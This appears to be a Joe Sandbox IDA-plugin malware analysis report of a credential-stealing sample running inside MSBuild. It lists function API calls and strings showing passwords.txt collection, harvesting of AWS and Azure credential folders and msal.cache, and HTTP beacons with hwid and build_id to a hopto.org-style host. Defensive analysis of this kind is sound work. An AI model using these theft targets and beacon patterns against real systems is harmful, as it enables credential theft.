Instruction Fuzzy Hash: 02E14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction ID: dc35adcabb2262aeaa3715ac701fce149c27e2d4e5217412d5f4b6884cb75f27
Opcode Fuzzy Hash: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction Fuzzy Hash: E2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

------, xrefs: 00404C75
hwid, xrefs: 00404EAD
build_id, xrefs: 0040500D
HxA, xrefs: 00405222
", xrefs: 00404ED9
------, xrefs: 00404DFB
------, xrefs: 00404F5B
", xrefs: 00405039

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$HxA$build_id$hwid
API String ID: 3006978581-3648483202
Opcode ID: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction ID: 21305393b516d721eabc2380545c4b93fc8e403c2138cad973479bd5099e6fae
Opcode Fuzzy Hash: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction Fuzzy Hash: 0C02C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction ID: 9b5f552432b4e98a6f0c5797751fefc193ccc8af765751ef1568987e4d70ee72
Opcode Fuzzy Hash: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction Fuzzy Hash: B641C6B1D00218ABDB205F61AC4CF9F7B7DEB85715F1016BAF00AE10A1DA394E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

\.IdentityService\, xrefs: 004165FD
Azure\.aws, xrefs: 004165A5
msal.cache, xrefs: 0041661E
*.*, xrefs: 00416536
\.azure\, xrefs: 00416512
\.aws\, xrefs: 00416589
Azure\.IdentityService, xrefs: 00416619
*.*, xrefs: 004165AA
Azure\.azure, xrefs: 00416531

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction ID: 84896bacdfb64059cc425482cd21a2e289ba5d14c04e476c3e3a3401a8d995fd
Opcode Fuzzy Hash: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction Fuzzy Hash: E841C671D4021C7BDB14EB60EC47FDD7378AB09304F6044AAB605A7090EABDAB888F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction ID: fa65740cd413e8b43b9f1f3498c9fbd0cc5fbb49866f189318ef85710a93ab9e
Opcode Fuzzy Hash: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction Fuzzy Hash: D4C15D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417151 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041869F), ref: 004171ED
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004171FC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177DB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177F4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BAA

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041869F), ref: 00417210

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418110

Strings

.exe, xrefs: 00417659
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 0041781C
cowod., xrefs: 00417F8B
_DEBUG.zip, xrefs: 00418045
.exe, xrefs: 00417F14
http://, xrefs: 00417F67
hopto, xrefs: 00417FAF
org, xrefs: 00417FF7

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$566ac7bdeaf763bbaf70aa6d5667c804$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-1119754696
Opcode ID: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 004135A8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

true, xrefs: 004136A6
false, xrefs: 004136C5
zA, xrefs: 004139B4

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true$zA
API String ID: 2116072422-752889570
Opcode ID: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction ID: f88d8e482521469d959c87b5d2553cfe3082ffd239838e960e1cb591ae3ba6ed
Opcode Fuzzy Hash: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction Fuzzy Hash: 37B16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

